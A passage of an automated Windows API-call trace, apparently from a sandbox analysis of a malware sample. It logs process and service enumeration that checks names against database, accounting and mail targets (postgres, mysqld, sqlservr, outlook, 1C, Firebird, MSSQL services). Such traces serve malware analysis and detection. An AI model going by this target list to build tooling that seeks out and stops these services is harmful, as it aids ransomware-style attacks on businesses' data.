(lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.950] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.950] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.950] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.950] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.951] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.951] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.952] lstrlenW (lpString="svchost.exe") returned 11 [0209.952] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.952] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.952] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.953] lstrlenW (lpString="audiodg.exe") returned 11 [0209.953] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0209.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0209.953] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0209.953] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0209.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0209.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0209.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0209.954] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.955] lstrlenW (lpString="svchost.exe") returned 11 [0209.955] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.956] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0209.956] lstrlenW (lpString="userinit.exe") returned 12 [0209.956] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0209.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0209.957] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0209.957] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0209.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0209.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0209.957] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0209.957] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.959] lstrlenW (lpString="explorer.exe") returned 12 [0209.959] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0209.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0209.959] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0209.959] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0209.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0209.960] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.961] lstrlenW (lpString="dwm.exe") returned 7 [0209.961] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.962] lstrlenW (lpString="svchost.exe") returned 11 [0209.963] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0209.963] lstrlenW (lpString="winhost.exe") returned 11 [0209.964] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.964] lstrlenW (lpString="spoolsv.exe") returned 11 [0209.965] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0209.966] lstrlenW (lpString="dllhost.exe") returned 11 [0209.966] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.967] lstrlenW (lpString="svchost.exe") returned 11 [0209.967] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.969] lstrlenW (lpString="taskhost.exe") returned 12 [0209.970] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.971] lstrlenW (lpString="cmd.exe") returned 7 [0209.971] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0209.972] lstrlenW (lpString="reader_sl.exe") returned 13 [0209.972] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.973] lstrlenW (lpString="conhost.exe") returned 11 [0209.973] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0209.974] lstrlenW (lpString="mode.com") returned 8 [0209.975] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0209.976] CloseHandle (hObject=0x2d0) returned 1 [0209.976] Sleep (dwMilliseconds=0x1f4) [0210.981] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x689708 [0211.193] EnumServicesStatusExW (in: hSCManager=0x689708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0211.225] GetLastError () returned 0xea [0211.226] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa64) returned 0x5ffe78 [0211.226] EnumServicesStatusExW (in: hSCManager=0x689708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5ffe78, cbBufSize=0xa64, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5ffe78, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0211.245] CloseServiceHandle (hSCObject=0x689708) returned 1 [0211.253] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.253] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.254] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.254] lstrlenW (lpString="AudioSrv") returned 8 [0211.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0211.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0211.254] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0211.254] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0211.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0211.255] lstrlenW (lpString="BFE") returned 3 [0211.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.255] lstrlenW (lpString="CscService") returned 10 [0211.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0211.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0211.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0211.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0211.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0211.255] lstrlenW (lpString="DcomLaunch") returned 10 [0211.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.256] lstrlenW (lpString="Dhcp") returned 4 [0211.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.257] lstrlenW (lpString="Dnscache") returned 8 [0211.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.258] lstrlenW (lpString="eventlog") returned 8 [0211.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0211.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0211.258] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0211.258] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0211.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0211.258] lstrlenW (lpString="EventSystem") returned 11 [0211.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.259] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.259] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.259] lstrlenW (lpString="gpsvc") returned 5 [0211.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.260] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.260] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.260] lstrlenW (lpString="lmhosts") returned 7 [0211.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.260] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.260] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.260] lstrlenW (lpString="MMCSS") returned 5 [0211.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0211.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0211.261] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0211.261] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0211.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0211.261] lstrlenW (lpString="MpsSvc") returned 6 [0211.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.261] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.261] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.261] lstrlenW (lpString="nsi") returned 3 [0211.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.261] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.262] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.262] lstrlenW (lpString="PlugPlay") returned 8 [0211.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.262] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.262] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.263] lstrlenW (lpString="Power") returned 5 [0211.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.263] lstrlenW (lpString="ProfSvc") returned 7 [0211.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.264] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.264] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0211.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0211.264] lstrlenW (lpString="RpcEptMapper") returned 12 [0211.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.264] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0211.264] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0211.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0211.265] lstrlenW (lpString="RpcSs") returned 5 [0211.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0211.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0211.265] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0211.265] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0211.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0211.265] lstrlenW (lpString="SamSs") returned 5 [0211.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0211.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0211.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0211.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0211.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0211.266] lstrlenW (lpString="Schedule") returned 8 [0211.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0211.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0211.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0211.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0211.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0211.266] lstrlenW (lpString="SENS") returned 4 [0211.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0211.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0211.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0211.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0211.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0211.267] lstrlenW (lpString="ShellHWDetection") returned 16 [0211.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0211.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0211.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0211.269] lstrlenW (lpString="Spooler") returned 7 [0211.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0211.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0211.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0211.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0211.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0211.269] lstrlenW (lpString="Themes") returned 6 [0211.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0211.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0211.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0211.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0211.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0211.270] lstrlenW (lpString="UxSms") returned 5 [0211.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0211.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0211.270] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0211.270] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0211.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0211.270] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ffe78 | out: hHeap=0x590000) returned 1 [0211.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0211.276] Process32FirstW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.278] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.279] lstrlenW (lpString="System") returned 6 [0211.279] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0211.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0211.279] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0211.279] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0211.280] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0211.280] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0211.280] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0211.280] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.281] lstrlenW (lpString="smss.exe") returned 8 [0211.281] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0211.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0211.282] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.282] lstrlenW (lpString="csrss.exe") returned 9 [0211.283] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0211.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0211.283] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0211.283] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0211.283] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0211.283] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0211.283] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0211.283] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.285] lstrlenW (lpString="wininit.exe") returned 11 [0211.285] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="mysqld-nt.exe", 